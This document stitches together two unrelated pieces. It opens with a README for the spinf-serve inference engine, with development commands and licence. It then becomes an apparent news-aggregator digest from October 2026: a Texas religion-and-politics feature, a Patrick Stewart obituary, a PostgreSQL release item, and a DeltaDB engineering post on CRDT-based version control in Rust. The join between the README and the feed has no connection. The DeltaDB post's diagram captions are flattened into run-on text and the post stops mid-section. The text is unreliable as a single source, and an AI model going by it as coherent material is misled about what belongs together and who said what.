Version 0.1. The engine (scoring, extraction, generation, media, batch invariance, the two model stacks) is complete and parity-tested against recorded references; the server speaks the public API of the hosted service; the four checkpoints are public. What is still missing is listed in docs/README.md .

Questions, ideas and bugs go to the issues of this repository. There is no forum or chat, and nothing is too small.

Layout

spinf_serve/ holds the engine ( protocol , compiler , packer , scorer , extract , service ), the served models' manifests, the packs module (pure Python, also used by the client and the hosted API), one model stack per architecture family in models/ , the quantization schemes in quant/ , the HTTP server in server/ and the spinf-serve command. quantizations/ has one folder per published checkpoint (recipe, calibration output, model card), fixtures/ the public parity fixture and references, benchmarks/ the throughput comparison. The map of the code is docs/ARCHITECTURE.md .

Develop

uv sync --extra server
uv run pytest                                   # CPU tests (the official packs' golden fixtures need ../spinf-prompts or SPINF_PROMPTS_DIR)
uv run ruff check . && uv run ruff format --check .
CUDA_VISIBLE_DEVICES=0 uv run spinf-serve parity --fixture fixtures/wikinews_20261024.json.gz \
    --reference fixtures/wikinews_20261024.spinf-gemma-4-12b-fp8.json.gz --passes 2

Every change that touches a kernel, a compile boundary or a quantization scheme ships with the GPU parity run: bit-identical log-probabilities on the recorded reference of each published checkpoint ( fixtures/ ). Dependencies are pinned exactly; they change only together with a parity run. See CONTRIBUTING.md .

Licence and acknowledgements

Apache 2.0 ( LICENSE , NOTICE ). The models we run and re-quantize, the projects we build on, the techniques we implement and the data we checked on are credited in ACKNOWLEDGEMENTS.md .

Don't Be Too Scared to Enjoy "The Lost Boys"

hellgate
hellgatenyc.com
2026-10-30 13:01:31
Why the singing vampire show remains the perfect choice for spooky season....
Original Article

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The Rise of the Christian Left in Texas

Intercept
theintercept.com
2026-10-30 12:55:07
James Talarico, Frederick D. Haynes, and Gina Hinojosa are all Christians running for public office — as Democrats — in Texas. The post The Rise of the Christian Left in Texas appeared first on The Intercept....
Original Article
Rev. Frederick D. Haynes III speaks to the crowd during the We the People TX interfaith service, "A Night of Moral Resistance," in Dallas, Wednesday, Sept. 9, 2026. (AP Photo/Gabriela Passos)
Rev. Frederick D. Haynes III speaks to the crowd during the We the People TX interfaith service, “A Night of Moral Resistance,” in Dallas, on Sept. 9, 2026. Photo: AP Photo/Gabriela Passos

Alain Stephens is an investigative reporter covering gun violence, arms trafficking, and federal law enforcement.

“Why do you wanna have a pep rally when people are hurting?”

That was the question Rev. Frederick Douglass Haynes III posed at a September food drive in South Dallas, where volunteers were collecting groceries for struggling families. Across town, Republicans were holding a midterm convention. Haynes, a longtime Baptist pastor and Democratic congressional nominee, was introducing James Talarico, the party’s candidate for U.S. Senate in Texas.

A month later, speaking at a Dallas megachurch, Talarico offered his own interpretation of Christian duty.

“I try to love my neighbor through public policy,” the Presbyterian seminarian told the congregation. “I’m trying to make my neighbor’s life easier, better, less stressful.”

Both men are making a deceptively simple argument in some of the staunchly staunch red-as-hell, Republican territory in America, one that might transcend the conventional wisdom about national campaigns and the millions poured into competing campaign war chests: When far-right policy translates into actual pain, at what point does intervening become a spiritual obligation?

Amid the big-ticket ad buys, fundraising appeals, and armies of political consultants, Talarico and Haynes are tapping into a political tradition that has long sustained communities across the South: showing up.

At Haynes’s Friendship-West Baptist Church , the ministry extends to legal services, immigration advocacy, counseling, economic justice, and food policy. It is an example of how churches often form the connective tissue of communities suffering under economic and political strain.

When far-right policy translates into actual pain, at what point does intervening become a spiritual obligation?

That strain is measurable. Texas is home to four of the nation’s 10 most financially distressed major cities, including Houston, which ranks second nationwide, according to a 2026 analysis . Feeding America estimates that nearly 1 in 5 Texans experienced food insecurity in 2024. Meanwhile, federal analysts project that changes to Medicaid eligibility enacted last year will increase the number of uninsured Americans by 7.5 million by 2034.

While Democratic Party leaders publicly debate how to punish Donald Trump politically, allege corruption, or navigate the ideological divide between moderates and democratic socialists , a different argument is emerging from Southern pulpits.

The Underground Church

From Quaker abolitionists to the Social Gospel’s challenge to industrial exploitation , progressive religious institutions have helped drive some of America’s most consequential political transformations. Christian farmworker ministries supported migrant laborers before joining the United Farm Workers’ California grape boycotts in the 1960s. And while Black churches overwhelmingly led, sustained, and suffered the brunt of violence in the fight for equal civil rights in this country, a handful of white denominations joined them.

Of course, churches also defended slavery, segregation, and exploitation. The blunt reality is that throughout American history, Christianity has always been political and has been used to justify a wide variety of competing political ends.

But Republicans have deftly exploited the perception that they alone speak for American Christians. The Trump administration has readily embraced religious iconography, from evangelical leaders praying over the president in the Oval Office to Defense Secretary Pete Hegseth’s frequent invocations of the medieval Crusades .

There is no way around the fact that Republicans have built a formidable religious coalition, particularly among white evangelicals. Last year, the nonprofit, nonpartisan Public Religion Research Institute, or PRRI, found a majority of Republicans qualified as either Christian nationalist adherents or sympathizers in 2025, compared with 17 percent of Democrats.

But Republicans don’t have a monopoly on Christian voters. Pew Research Center polling this month found 73 percent of white evangelical Protestant registered voters preferred Republican House candidates, while 74 percent of Black Protestants and 59 percent of Hispanic Catholics preferred Democrats. None of that is particularly surprising on the surface.

Nor is this some newly discovered religious awakening. According to PRRI’s Census of American Religion, which was published in April, 57 percent of Democrats identified as Christian in 2025, a significant drop from 70 percent in 2013. The white Christian left isn’t necessarily growing, but it’s far from insignificant. Much of it has simply been politically overlooked.

It’s a perception the GOP has routinely capitalized on, often spending a great deal of their election campaigns attacking opponents on religious ground.

On Sunday, Texas Gov. Greg Abbott cravenly tarred his Democratic gubernatorial challenger , state Rep. Gina Hinojosa, as supporting “ Sharia law ,” citing an endorsement from a Muslim advocacy group’s political affiliate.

Perhaps ironically, Hinojosa is, and has been on the record, a Catholic — same as Abbott .

“My faith is my moral compass,” Hinojosa told the National Catholic Register in September. “It grounds me in purpose and gives me the courage to do what is right regardless of obstacles or consequences.”

Faith Without Works Is a Dead End

For those who have spent years watching their faith become synonymous with a politics they don’t recognize, frustration may finally be giving way to something else: a determination to be heard.

There are signs that this long-overlooked religious tradition is finding a more public voice. An August study by PRRI documented progressive Christians organizing against Christian nationalism in eight states, including Texas and Louisiana, channeling local meetings, religious discussions, and community networks into political action. Elsewhere, hundreds of members of the clergy have joined protests against immigration enforcement , and some have been trained in direct action and civil resistance . While the movement may not be growing in numbers, its willingness to challenge political power is increasingly visible.

As retired Texas Rev. Kathleene Card, who has thrown her support behind Talarico, told the Houston Chronicle, “faith should influence how people respond to poverty, human rights, the environment, and the well-being of their community.”

Whether any of this will translate into winning on Tuesday is still an open question. An October Fox News poll put Talarico and Republican Ken Paxton at 49 percent apiece among likely voters, but newer polls show Talarico with a small lead. Abbott led Hinojosa by 5 percentage points in that Fox poll, and most polls in the race show the governor with a slim lead.

No matter the result, the Texas campaigns offer a different, more nuanced way of understanding political persuasion. They also challenge a long-standing assumption among national Democrats: that their voters are a monolith, moved by the same issues, values, and appeals.

Across rural America and the South, voters may be growing weary of manufactured arguments and hypothetical doomsday prophecies , with research showing that political advertising, as it stands, has little effect on changing minds at all.

There is something to be said for people willing to put boots on the ground, to do the work instead of endlessly debating how to begin and whether it matters, in the name of service.

It’s a moral code not too dissimilar to a Western: When confronted with injustice, you stand for what’s right, even if you stand alone and are ridiculed for what you believe. It’s a mode of Christianity that harkens back to Abraham Lincoln (and maybe even John Brown.)

That might be a more enduring political proposition than many Democrats’ feigned, helpless aggrievance to the latest Republican spectacle. Campaigns come and go; so do their promises, if they existed in the first place. But the obligation to one’s neighbors remains.

Patrick Stewart Dies at 86

Daring Fireball
www.hollywoodreporter.com
2026-10-30 12:53:09
Aaron Couch, The Hollywood Reporter: Patrick Stewart, the sophisticated actor who brought a Shakespearean touch to Star Trek and X-Men as he made an otherworldly transformation from British stage veteran to sci-fi icon, has died. He was 86. Stewart died Wednesday at his home in Los Angeles foll...
Original Article

Patrick Stewart , the sophisticated actor who brought a Shakespearean touch to Star Trek and X-Men as he made an otherworldly transformation from British stage veteran to sci-fi icon, has died. He was 86.

Stewart died Wednesday at his home in Los Angeles following “a brief and poignant journey with Alzheimer’s disease and Lewy body dementia,” longtime spokesperson Kelly Bush Novak announced.

“He has been held in the warm embrace of family and friends, surrounded by live music, prayer, tears, laughter and the kind of profound emotion that only he could inspire after a lifetime of devotion to us all,” Bush Novak wrote. “We will forever cherish the peaceful ease and reflection on his face, an enduring reminder of his invincible grace.”

In the late 1980s, Stewart had decades of classical theater work in England under his belt but was unfamiliar in America when he was given command of the U.S.S. Enterprise.

Star Trek: The Next Generation producer Robert Justman happened upon a UCLA lecture featuring Stewart and witnessed him reading from Shakespeare in his trademark patrician style. Justman called the actor in for an audition against the wishes of Star Trek creator Gene Roddenberry, who didn’t think a bald Brit could be the face of the new series.

After a contentious casting process, Stewart won over the famously persnickety Roddenberry and signed a long-term contract to play Capt. Jean-Luc Picard, thinking there was no way the show would last beyond one season.

“Every single person I spoke to — agents, directors, screenwriters, other actors — said, ‘Oh, don’t worry about six years. You’ll be lucky to make it through the first year,’ ” Stewart recalled in 2010. “Everybody felt it was madness to try to revive an iconic series like William Shatner and Leonard Nimoy ‘s Star Trek . So, on the basis of that advice, I signed the six-year contract.”

The Los Angeles Times referred to him as an “unknown British Shakespearean actor” in a story announcing his casting. Brent Spiner, who played the android Data on the show, fashioned a sign to go above Stewart’s dressing room that read in bright red, “WARNING: Unknown British Shakespearean Actor.”

Next Generation premiered in September 1987, two months after Stewart’s 47th birthday, and initially struggled to catch on with Star Trek fans, many of whom considered the new cast to be pretenders to the throne. But after ups and downs, the series soared to new heights in 1990 with the season-three finale, “ Best of Both Worlds .”

That episode featured the first cliffhanger in Star Trek history and saw Picard abducted and assimilated by an alien race known as The Borg. It was a genuinely shocking moment pulled off decades before such twists became common on the small screen.

Stewart also was at the center of several episodes considered among history’s finest hours of sci-fi television, including the alternate timeline-focused “Yesterday’s Enterprise” in 1990 and 1992’s “The Inner Light,” which had Picard live an entire lifetime, all in the blink of an eye.

Stewart and his cast of Americans became known as one of the closest in television, but in the early years, the theater veteran had trouble accepting the jokes that accompanied a typical 14-hour day on the set.

“Those guys taught me that you can do good work and have a good time at the same time,” he said in 2013. “Before that, I had always thought the two were unconnected completely.”

Next Generation ended in 1994 after seven seasons, going out with an Emmy nomination for outstanding drama series and spawning four films: Star Trek: Generations (1994), co-starring Shatner; Star Trek: First Contact (1996); Star Trek: Insurrection (1998); and Star Trek: Nemesis (2002), which saw Stewart face off against a then-unknown Tom Hardy as a younger clone of Picard.

Stewart acknowledged that Star Trek saw him fall victim to typecasting, so when he was offered the role of Prof. Charles Xavier in X-Men (2000) in the final years of Next Generation ‘s movie run, he was hesitant.

An adaptation of the Marvel comic books, X-Men was a pioneering film and helped launch a new age of superhero cinema. Stewart worked opposite longtime friend Ian McKellen, who played the villain Magneto, and appeared as Xavier in seven more films, starring in X2: X-Men United (2003), X-Men: The Last Stand (2006), X-Men: Days of Future Past (2014) and Logan (2017) and having cameos in X-Men Origins: Wolverine (2009), The Wolverine (2013) and Doctor Strange in the Multiverse of Madness (2022). He filmed a role as Prof. X in the upcoming Avengers: Doomsday (2026).

Portraying Picard and Xavier for many years allowed him to explore layers upon layers with his characters, an opportunity few actors ever get.

“Both of them … I immensely admired for their morality, for their kindness, for their sensitivity, for their compassion,” Stewart told THR ‘s Stephen Galloway in 2017. “Even for their intellectual capacities. Playing Jean-Luc for all those years had a real impact on me.”

After 17 years away, he returned to a familiar world to star in the CBS All Access series Star Trek: Picard , which debuted in January 2020.

Stewart was born on July 13, 1940, in Mirfield, Yorkshire, England, to Alfred and Gladys Stewart. His father worked as a semi-skilled laborer and was a veteran of World War II, among the last men evacuated from Dunkirk.

A heavy drinker, Alfred was physically abusive toward his wife, but not his three sons. It was only decades later that Stewart learned his dad’s violent behavior likely stemmed from undiagnosed post-traumatic stress disorder.

The youngest in the family, Stewart found himself terrified at home and often tasked with getting between his father’s fists and his mother. Growing up under those circumstances led him to advocate for veterans as well as domestic abuse victims later in life.

“I managed to find my own refuge in acting. The stage was a far safer place for me than anything I had to live through at home — it offered escape. I could be someone else, in another place, in another time,” he wrote in 2009.

At 15, he got a job at the local newspaper , The Dewsbury Reporter , where he was tasked with interviewing bereaved family members when someone would die in the town. Journalism turned out not to be his passion, and he spent much of his free time with drama groups. His editor finally told him he had to choose between acting and journalism — and he quit on the spot.

To support himself, Stewart got a sales job at a furniture store, but by 18 he had won a scholarship to Bristol Old Vic Theatre School. At 26, he became a member of the Royal Shakespeare Company, spending much of the 1960s with the group as well as with the National Theatre.

After a series of roles in British film and television, he made his U.S. debut in John Boorman’s King Arthur film Excalibur (1981), then appeared as the minstrel Gurney Halleck in David Lynch ‘s cult sci-fi classic Dune (1984).

Stewart received Emmy and Golden Globe nominations for playing Captain Ahab in the 1998 miniseries Moby Dick and for his work as King Henry II in 2003’s The Lion in Winter .

A humorous guest spot on the HBO comedy Extras , in which he portrayed a lecherous version of himself obsessed with seeing women naked, earned him another Emmy nom in 2006, and he was nominated yet again in 2010, for playing King Claudius in the Royal Shakespeare Company’s Hamlet .

In 2015-16, he starred as cantankerous British talk show host Walter Blunt on Starz’s Blunt Talk , which earned him a third Golden Globe nom. He also had a long-running gig as the voice of Avery Bullock on American Dad!

He portrayed Bosley in Elizabeth Banks’ reboot of Charlie’s Angels (2019) and this year had a voice role in The Sheep Detectives .

On the 2001 New Year Honours list, Queen Elizabeth II appointed him an Officer of the Order of the British Empire, and he was knighted by her in 2010. “I never imagined anything like that could possibly happen to me, and in fact, it is still a significant unreality to me,” he said.

Stewart was married three times. He wed theater choreographer Sheila Falconer in 1966, and the pair remained together until 1990. They had two children, Daniel — who appeared in Blunt Talk — and Sophia. He was married to Star Trek producer Wendy Neuss from 2000-03 before wedding jazz musician Sunny Ozell in a 2013 ceremony officiated by McKellen.

“Like me, Jean-Luc has lived an unusual life that has taken him far beyond the bounds of normal human experience,” he wrote in his 2023 memoir, Making It So . “But he is also someone who has remained true to his earthbound roots, for they are what gave him his identity. In the end, he feels the call of home, as do I.”

Haas: Postgres 19 is late, and it's AI's fault

Linux Weekly News
lwn.net
2026-10-30 12:52:59
PostgreSQL developer Robert Haas writes about the struggles the project has encountered in putting together its next release. In the end, I don't think that the delay in shipping PostgreSQL 19 is particularly concerning. It is not a long delay in the grand scheme of things, and it emerges direc...
Original Article
PostgreSQL developer Robert Haas writes about the struggles the project has encountered in putting together its next release.
In the end, I don't think that the delay in shipping PostgreSQL 19 is particularly concerning. It is not a long delay in the grand scheme of things, and it emerges directly from the project's concern for quality.

The long-term picture is less clear and in some ways more troubling: given that we have forty years of bugs that humans were unable to find but LLMs are quite capable of discovering, how are we ever going to catch up, and how will PostgreSQL continue to innovate? Right now, I'm not sure. What I do know is that I, and many others, are working really hard to figure it out.

LWN looked at the PostgreSQL 19 release and its challenges in September.


Building fine-grained version control for agents with Rust and Durable Objects

Lobsters
delta.dev
2026-10-30 12:50:44
Comments...
Original Article

Back in 2021, Nathan, Max and I founded Zed Industries with two goals: build a very fast code editor , and fundamentally change how teams collaborate on software . Millions of people now use Zed, and I’m proud of what we built .

For the past year, we’ve been working on the second goal.

I believe that writing software is the process of continuously clarifying a problem, in your head or with your teammates, until the code becomes inevitable. Clear thinking leads to clear code; messy thinking leads to messy code. Agents haven’t changed that. We’re just producing code way faster, and more and more of the clarifying happens in conversations with agents. In the best case, the context behind that code is trapped inside the agent harness of the week. In the worst case, it’s lost forever in Slack or compressed into a commit message that the agent wrote and that you didn’t read.

DeltaDB is our answer. It’s a version control system for agent context. You can point at a piece of code, recover the reasoning behind it, and ask the agent or human who wrote it why it looks the way it does.

In this post, we’ll dive into how we built a system that streams every change from humans and agents in real time, merges their edits into one monotonically growing causal graph, and keeps every edit linked to the conversation that produced it.

As always at Zed Industries, we started with an empty repo.

Architecture

DeltaDB is a collection of CRDTs , all stored locally in SQLite and linked together in a directed acyclic graph (DAG). Every node in the graph is called a delta , and it’s the smallest unit of change that can be represented. Combined, this lets us model the essential state of an agent thread : its conversation, its files, and everything around them.

Using CRDTs lets clients make progress on their own and stay resilient to network failures or partitions. We eventually synchronize all the state to a server, but we don’t need clients to be constantly connected: changes are applied locally right away and synchronized when possible. This makes it straightforward to implement the entire spectrum of collaboration, from handing off a thread asynchronously to collaborating in real time with your teammates .

The DAG enables representing every possible intermediate state in the system. This has a few nice properties. For example, we can easily scrub back and forth through the history of a thread and its worktree. It also lets us express the entire state of the system with a very compact version: the deltas at the tips of the graph (also called a frontier ). Its size grows with how many branches are open at the same time, not with how many writers there have ever been. Our design closely resembles the work pioneered by Gentle and Kleppmann in the Eg-walker paper .

The primary downside of using a DAG is that we need to navigate the graph to detect whether a delta already includes the impact of some other delta. If we used a version vector , we could answer that by comparing counters. Even though that would be cheaper than walking the parent links, a version vector assumes that actors are few and long-lived. In a thread, however, people and agents come and go all the time, and once an actor makes some changes, the vector can’t drop the counter. So the vector can only ever grow, even after the actor has left. Dotted version vectors have similar issues, as illustrated in the animation below.

Your client writes deltas 1, 2, and 3 on the main timeline, each numbered by the client's single clock. With one timeline, a version vector, a dotted version vector, and a DAG frontier all describe main correctly. Then a subagent forks a timeline on the same client, so its deltas 5 and 7 take numbers between main's 4, 6, and 8. A version vector describes main as you: 8, which covers every delta of yours up to 8, including the subagent's 5 and 7. A dotted version vector keeps 8 as its dot, but its context is still counters, so it must say you: 4 plus an exception for 6, and every further interleaving adds another exception. The DAG frontier for main is just 8, and walking parent links from 8 visits 6, 4, 3, 2, and 1, exactly main. Next, three Cloud Runner sandboxes fork from 8. Each opens its own database, so each is a new writer. Merging their work as delta 9 collapses four tips into one, but both vectors gain a counter for every sandbox. After the sandboxes shut down and you write delta 10, the vectors still carry those counters, while the frontier is the single delta 10. The frontier's price is that causal questions become walks over parent links, which DeltaDB stores anyway. your clock 10 Main Subagent sandbox A, gone sandbox B, gone sandbox C, gone A1 B1 C1 A2 B2 C2 1 2 3 4 5 6 7 8 9 10 Main's version Version vector you 10 A 2 B 2 C 2 also claims 5, 7 Dotted vector dot 10 you 4 +6 +8 +9 A 2 B 2 C 2 3 exceptions DAG frontier 9 10 exact

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Ancestor queries are a fine tradeoff for us because we need to store every version anyway. They’re also fast in practice, because we store a delta’s ancestry separately from its payload. The ancestry data is tiny and stored in causal order, so these queries can leverage a lot of locality.

Making each delta a node in the DAG also lets us decouple its network representation from how the CRDT expresses its impact internally. For example, this is how we define text edits:

struct EditTextDelta {
    parent: Version,
    offset: usize,
    text: String,
}

Note how parent and offset are sufficient to uniquely identify a position in a buffer, even in the presence of concurrent edits. Most of the time, the buffer is already at parent , so the edit applies directly. When it isn’t (e.g., if a concurrent edit happened in the meantime), the client reifies the version at parent , reconstructing the buffer as it was at that point. It then translates the offset into an internal representation (fragment IDs in our case, similar to how we do it in Zed) and locates that fragment ID in the buffer at the version we’re applying the edit to.

This makes deltas very cheap on the wire and it also lets us change the internal fragment representation and page out unused fragments.

The mighty B+ tree

We store all of our data in SQLite. This data can roughly be partitioned into two categories: relational and versioned.

Relational data is pretty straightforward. For example, on the client we store all the threads that you’ve created or opened. This goes in a traditional table and there’s nothing special about it.

Versioned data is where it gets interesting. The whole system hinges on the ability to quickly reify any version. As we saw above, applying a concurrent delta depends on it, and we also don’t want to wait a long time when scrubbing through history or mounting the worktree of an old version of the thread on the file system.

To make that fast, we cache a snapshot of the whole state for recently used nodes in the DAG (plus a few more important versions that we pin). Then, starting from the version we want, we walk back through the DAG to the closest ancestor that has a cached snapshot and apply every delta in between.

Storing a full copy of the CRDTs for every cached version would be prohibitively expensive. Instead, we express the whole state as copy-on-write B+ trees. This means we can reuse most of the nodes from a previous snapshot and only pay for the paths that the replayed deltas touch.

A DAG of deltas. The history so far is folded into delta P. Your timeline writes deltas 1 to 4, 6, and 8, a subagent forks after 3 and writes 5 and 7, and delta 9 merges both before 10 to 12 follow. P's snapshot is pinned, and versions 2 and 4 have cached snapshots. To reify version 9, a walk goes back from 9 along parent links on both branches. It reaches delta 4, which has a snapshot that covers everything 4 has seen, so the walk through the subagent's branch stops at delta 3. That leaves deltas 5, 6, 7, 8, and 9 to replay. The DAG moves up, and version 4's B+ tree unfolds out of its snapshot: a root, three internal nodes, and nine leaves of text fragments. Its root is cloned into version 9's root, which shares every node with version 4. Each delta then travels from the new root down to its leaf. Delta 5 clones the internal node and the leaf on its path, and the originals stay behind for version 4. Delta 6 lands in the same leaf, finds its path already cloned, and writes in place. Delta 7 clones a path in the next subtree, and delta 8 writes into it in place. Delta 9 reuses the internal node delta 7 cloned and clones only its own leaf. Read left to right, the leaves hold deltas 1 to 9 in order. Version 9 ends up with six nodes of its own and shares the other seven with version 4. Its snapshot joins the cache, and version 2's, the least recently used, falls out. Tapping any delta reifies its version the same way, from whichever cached snapshot is closest. 1 2 3 4 5 6 7 8 9 10 11 12 1 2 3 4 5 6 7 8 9 4 9

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Our B+ tree is a variation of Zed’s SumTree . The SumTree in Zed is an append-only B+ tree whose internal nodes summarize their children. To edit a SumTree , you have to slice a prefix of the tree up until the insertion point, push new items and skip the ones you want to delete, and finally append the suffix, which rebuilds every node along the cut. In contrast, DeltaDB’s B+ tree edits in place through a mutable cursor.

It’s a lot faster because we perform way fewer adjustments to the tree (see the animation below). In-place mutation also lets us precisely track which nodes were allocated, changed, or released. On commit, new nodes become inserts, changed nodes get rewritten in their existing row, and released nodes only get their refcount decremented. All nodes get stored in a generic nodes table.

Two copies of the same B+ tree hold the text "Hello, wld!" in leaves of up to four characters, and each internal node counts the characters under each of its children. Snapshot v1 is a clone of both, so it shares every node. Typing "o" at offset 8, each tree seeks with the counts: the root skips the first 7 characters, and the cursor lands in the third leaf. The tree on top edits the way Zed's SumTree does. It slices the tree at the offset, so each of the three nodes on the cut splits into a prefix half and a suffix half. It pushes "o" onto the prefix and appends the suffix, and when the halves rejoin, the suffix's three nodes are thrown away. That is six nodes built and three thrown away for one character. The tree below edits the way DeltaDB's mutable cursor does. It walks the same three nodes, and because v1 still shares each one, it copies the node before writing to it. The originals stay behind for v1, which still reads "Hello, wld!", and the nodes the edit didn't touch stay shared. Typing "r" next, the rebuild builds six nodes and throws six away again, while the cursor finds its whole path already unshared and changes the three nodes in place, building nothing. text H e l l o , w o r l d ! v1 Hello, wld! Zed SumTree slice, push, append built 12 thrown away 9 + 6 + 6 7 4 2 2 w l 3 4 4 2 7 6 H e l l o , ␣ w o r l d ! v1 DeltaDB B+ tree mutable cursor built 3 thrown away 0 + 0 + 0 7 4 2 2 w l 3 4 4 2 7 6 H e l l o , ␣ w o r l d ! v1

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Timelines and synchronization

Clients can track as many frontiers as they want in the DAG using timelines . For example, when kicking off a subagent, we create a new timeline parked at the parent thread’s frontier and start making changes in parallel. All timelines share the same DAG so they can be merged back together at any later point in time. None of this touches Git and, crucially, doesn’t require committing for cross-agent coordination.

Timelines are also used for synchronization among clients. When a thread is shared, the client establishes a WebSocket connection to the server and subscribes to the timelines it is interested in. For every timeline, we perform a synchronization step to exchange all the deltas each side has missed since the last connection (or everything if it’s the first time we’re connecting to the server). This is accomplished by walking the DAG and sending a logarithmically spaced list of versions to find a recent common ancestor. Every new delta is then sent incrementally over the WebSocket, saved by the server, and pushed to every other client subscribed to that timeline.

Three rows show the same timeline on your client, the server, and your teammate's client, with a WebSocket between each client and the server. You start offline: your three edits stay on your machine, while your teammate's two edits reach the server over their open socket and are saved there. When you reconnect, your client opens a WebSocket for the history and subscribes to the timeline. It then sends five ancestors from its timeline, dense near the tip and sparse further back. The server checks them newest first, doesn't know your three recent edits, and stops at the first shared version, the common ancestor. It replies with a list of every delta after that ancestor, without contents. Your client already has the first one, so it fetches only your teammate's two edits over the same socket. Then it uploads its own three edits; the server saves them and pushes them to your teammate. Everyone now has the same history, and both sockets stay open. From then on, a new edit is saved where it's written, sent over the socket, saved by the server, and pushed to the other subscribed client, with no probes and no fetches. Your teammate's next edit travels back to you the same way. Reconnecting after time offline, or missing an update, runs the catch-up round again. You online Server Durable Object Teammate online WebSocket WebSocket

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Reconnections are handled the same way, which makes it straightforward to reason about the correctness of delta delivery.

One Durable Object per thread

We envision a world where every human creates and interacts with more and more agents. In that future, it’s hard to imagine keeping all the thread state in a single server.

In DeltaDB, every thread gets synchronized to its own Cloudflare Durable Object . The object comes to life the first time a client connects to it, and creating a thread costs nothing on the server. Each client establishes one WebSocket connection for every thread it’s interested in.

Other than authentication (which only happens when establishing the connection), this is essentially a share-nothing architecture. This means we scale horizontally with the number of threads, as far as Cloudflare can serve the traffic.

You create a thread, and at first it exists only on your machine. When your client connects, the thread's Durable Object wakes up. It is named after the thread's history, keeps that history in its own SQLite database, and receives the deltas you wrote offline. Your teammate, a local agent, and a Cloud Runner sandbox open the same thread, and each connects one WebSocket to the same object. When the agent writes a delta, the object saves it and then pushes it to everyone else connected to the thread, but not back to the agent. Zooming out, every other thread works the same way, each with its own object, database, and clients, sharing nothing. When a swarm of agents piles onto one thread, that thread's object gets busy and deltas queue up there, while every other thread keeps its own pace. New thread adds another thread with its own object, and Swarm a thread floods the newest calm thread with agents. 10 threads · 10 Durable Objects · 36 WebSockets Durable Object SQLite 9 deltas You Teammate Agent Cloud Runner Durable Object SQLite 4 deltas Agent Teammate Teammate Agent Durable Object SQLite 5 deltas Teammate Teammate Cloud Runner Durable Object SQLite 28 deltas busy Agent Cloud Runner Agent Agent Agent Agent Agent Agent Agent Agent Durable Object SQLite 4 deltas Teammate Agent Durable Object SQLite 5 deltas Teammate Cloud Runner Durable Object SQLite 4 deltas Teammate Agent Teammate Cloud Runner Durable Object SQLite 5 deltas Agent Agent Durable Object SQLite 4 deltas Teammate Agent Durable Object SQLite 5 deltas Agent Teammate Teammate

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This lets us scale across threads, but multiple agents and humans can also issue many simultaneous writes within a single thread. We put a lot of work into making that efficient and cost-effective in a Durable Object, and we will discuss how we did it in a future post.

Cloudflare is DeltaDB’s first deployment target. As of today, it runs on our multi-tenant deployment, as well as on single-tenant deployments for customers who want to “bring their own Cloudflare”. However, the whole system has been designed to be portable to other platforms, so long as they provide an object store, a fault-tolerant Postgres database for authentication, and a way to spin up addressable single-threaded processes with their own transactional storage.

#[derive(Replicate)]

In practice, we never need to think about any of the above when interacting with DeltaDB. The whole system is exposed via a higher-level client API with the following primitives:

  • Register<T> , a last-writer-wins container.
  • Map<K, V> , an add-wins map.
  • Buffer , a collaborative piece of text backed by a rope.
  • Worktree , a tree of files layered on top of Git that you can mount anywhere on disk. A worktree starts at a commit, and each file is either pinned to its committed blob or carries the deltas written since. Creating a commit produces a delta too, which is what ties our DAG to Git’s.

We have a long-lived deltadb::Client struct that can be used to interact with the above primitives:

client.create(|cx| {
    let register = cx.create_register(42);
    register.set(43, cx);

    let map = cx.create_map();
    map.insert("a", 1, cx);
    map.insert("b", 2, cx);

    let buffer = cx.create_buffer("hello, world");
    buffer.edit([(0..5, "goodbye")], cx);
});

Updating a primitive automatically mints new deltas and adds them to the DAG, which is then synchronized to disk and to the server on the user’s behalf. You can also compose them into more complex structs using the #[derive(Replicate)] macro, and that’s indeed what we do to represent an agent thread.

#[derive(Clone, Replicate)]
struct Thread {
    #[field(0)]
    transcript: Buffer,
    #[field(1)]
    name: Register<String>,
    #[field(2)]
    worktree: Worktree,
    #[field(3)]
    comments: Map<u64, Comment>,
}

#[derive(Clone, Replicate)]
struct Comment {
    #[field(0)]
    body: Buffer,
    #[field(1)]
    resolved: Register<bool>,
}

If we peek under the hood, these types are just pointers into a larger, flat CRDT that we call a Snapshot . These pointers can be created at compile-time via the field attribute, or at runtime by taking the ID of the delta that created it.

#[derive(Clone)]
struct Register<T> { id: RegisterId, _type: PhantomData<T> }

#[derive(Clone)]
struct Map<K, V> { id: MapId, _type: PhantomData<(K, V)> }

#[derive(Clone)]
struct Buffer { id: BufferId }

#[derive(Clone)]
struct Worktree { id: WorktreeId }

#[derive(Clone)]
struct Snapshot {
    registers: CowBTree<RegisterId, RegisterSnapshot>,
    maps: CowBTree<MapId, MapSnapshot>,
    buffers: CowBTree<BufferId, BufferSnapshot>,
    worktrees: CowBTree<WorktreeId, WorktreeSnapshot>,
}

The client API doesn’t expose the flat snapshot directly, but it exposes its data through the pointer mechanism described above.

An exploded view of #[derive(Replicate)], driven by code. A code panel at the top runs one line at a time, and below it a Thread struct is drawn with four fields: transcript, name, worktree, and comments. When #[derive(Replicate)] runs, the struct tilts up and a floor appears underneath it: the snapshot, with one flat table each for buffers, registers, worktrees, and maps. Each #[field(n)] line then sends the ID [n] from the code into its field, and a line drops from the field to a new row in its table, holding a default value: an empty transcript and name, an empty worktree, and an empty map. Then the code inside client.create runs. thread.transcript.edit sends delta Δ1 through [0] into the transcript's row, which now reads "You: fix it", and thread.name.set("Fix login") sends Δ2 through [1] into the name's row. cx.create_buffer("Check Safari") is delta Δ3, and it lands directly in the buffers table as a new row whose ID is Δ3, the ID of the delta that created it; the variable body now holds Δ3. cx.create_register(false) does the same as Δ4, held by resolved. thread.comments.insert(1, …) sends Δ5 through [3], and the map gains entry 1, which holds only the IDs Δ3 and Δ4, with arrows to their rows. thread.name.set("Fix redirect") sends Δ6 through [1], and the row changes while the struct still holds [1]. Finally resolved.set(true) sends Δ7 straight from the handle to row Δ4, which flips to true. Buttons append more lines: renaming the thread again, or adding a second comment, which creates two more rows and a second map entry. buffers registers worktrees maps [0] "You: fix it" [1] "Fix redirect" [2] empty [3] {1} Δ3 "Check Safari" Δ4 true 1 → Δ3 Δ4 Thread transcript [0] name [1] worktree [2] comments [3] 10 thread.transcript.edit([(0..0, "You: fix it" )], cx); 11 thread.name.set( "Fix login" , cx); 12 let body = cx.create_buffer( "Check Safari" ); 13 let resolved = cx.create_register(false); 14 thread.comments.insert(1, Comment { body, resolved }, cx); 15 thread.name.set( "Fix redirect" , cx); 16 resolved.set(true, cx); 17 }); [0] [1] [2] [3] Δ3 Δ4

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Putting it all together in Delta’s native UI

